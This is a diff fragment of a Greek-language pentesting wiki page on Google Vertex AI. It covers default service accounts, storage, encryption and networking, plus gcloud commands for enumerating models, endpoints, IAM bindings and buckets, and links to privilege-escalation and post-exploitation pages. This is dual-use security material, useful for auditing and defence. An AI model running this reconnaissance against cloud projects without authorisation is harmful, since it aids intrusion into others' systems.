μοντέλα (συμπεριλαμβανομένου Hugging Face) +- Third-party models +- Δυνατότητα one-click deployment #### Tensorboards -Τα **Tensorboards** παρέχουν οπτικοποίηση και παρακολούθηση για πειράματα ML, παρακολουθώντας metrics, model graphs και πρόοδο εκπαίδευσης. +Τα **Tensorboards** παρέχουν απεικόνιση και παρακολούθηση για πειράματα ML, καταγράφοντας metrics, γραφήματα μοντέλων και την πρόοδο εκπαίδευσης. -### Service Accounts & Permissions +### Λογαριασμοί Υπηρεσίας & Δικαιώματα -Από προεπιλογή, οι υπηρεσίες Vertex AI χρησιμοποιούν τον **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), που έχει δικαιώματα **Editor** στο project. Ωστόσο, μπορείτε να ορίσετε custom service accounts όταν: +Από προεπιλογή, οι υπηρεσίες Vertex AI χρησιμοποιούν τον **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), ο οποίος έχει δικαιώματα **Editor** στο project. Ωστόσο, μπορείτε να ορίσετε custom service accounts όταν: - Δημιουργείτε custom jobs - Ανεβάζετε models - Αναπτύσσετε models σε endpoints Αυτός ο service account χρησιμοποιείται για: -- Πρόσβαση σε training data στο Cloud Storage -- Εγγραφή logs στο Cloud Logging -- Πρόσβαση σε secrets από το Secret Manager +- Πρόσβαση σε training data στο **Cloud Storage** +- Εγγραφή logs στο **Cloud Logging** +- Πρόσβαση σε secrets από το **Secret Manager** - Αλληλεπίδραση με άλλες GCP υπηρεσίες -### Data Storage +### Αποθήκευση Δεδομένων -- Τα **model artifacts** αποθηκεύονται σε κουτιά του **Cloud Storage** -- Τα **training data** συνήθως βρίσκονται σε Cloud Storage ή BigQuery -- Οι **container images** αποθηκεύονται στο **Artifact Registry** ή στο Container Registry -- Τα **logs** αποστέλλονται στο **Cloud Logging** -- Τα **metrics** αποστέλλονται στο **Cloud Monitoring** +- **Model artifacts** αποθηκεύονται σε buckets του **Cloud Storage** +- **Training data** συνήθως βρίσκεται στο Cloud Storage ή BigQuery +- **Container images** αποθηκεύονται στο **Artifact Registry** ή Container Registry +- **Logs** αποστέλλονται στο **Cloud Logging** +- **Metrics** αποστέλλονται στο **Cloud Monitoring** -### Encryption +### Κρυπτογράφηση -Από προεπιλογή, το Vertex AI χρησιμοποιεί **Google-managed encryption keys**. Μπορείτε επίσης να ρυθμίσετε: +Από προεπιλογή, το Vertex AI χρησιμοποιεί **Google-managed encryption keys**. Μπορείτε επίσης να διαμορφώσετε: -- **Customer-managed encryption keys (CMEK)** από το Cloud KMS +- **Customer-managed encryption keys (CMEK)** από το **Cloud KMS** - Η κρυπτογράφηση εφαρμόζεται σε model artifacts, training data και endpoints -### Networking +### Δικτύωση -Οι πόροι του Vertex AI μπορούν να ρυθμιστούν για: +Οι πόροι Vertex AI μπορούν να διαμορφωθούν για: -- Πρόσβαση στο **public internet** (προεπιλογή) +- **Δημόσια πρόσβαση στο internet** (προεπιλογή) - **VPC peering** για ιδιωτική πρόσβαση - **Private Service Connect** για ασφαλή συνδεσιμότητα - Υποστήριξη **Shared VPC** -### Ανίχνευση +### Απαρίθμηση ```bash # List models gcloud ai models list --region= @@ -169,7 +177,7 @@ gcloud ai models describe --region= --format="value(artifactU # Get container image URI gcloud ai models describe --region= --format="value(containerSpec.imageUri)" ``` -### Λεπτομέρειες Τερματικού Σημείου +### Λεπτομέρειες τελικού σημείου ```bash # Get endpoint details including deployed models gcloud ai endpoints describe --region= @@ -215,7 +223,7 @@ gcloud projects get-iam-policy \ --flatten="bindings[].members" \ --filter="bindings.role:aiplatform.user" ``` -### Αποθήκευση και Αρχεία +### Αποθήκευση και Αντικείμενα ```bash # Models and training jobs often store artifacts in GCS # List buckets that might contain model artifacts @@ -243,12 +251,18 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region= ``` ### Privilege Escalation -Στην ακόλουθη σελίδα μπορείτε να δείτε πώς να **abuse Vertex AI permissions to escalate privileges**: +Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **abuse Vertex AI permissions to escalate privileges**: {{#ref}} ../gcp-privilege-escalation/gcp-vertex-ai-privesc.md {{#endref}} +### Post Exploitation + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + ## Αναφορές - [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)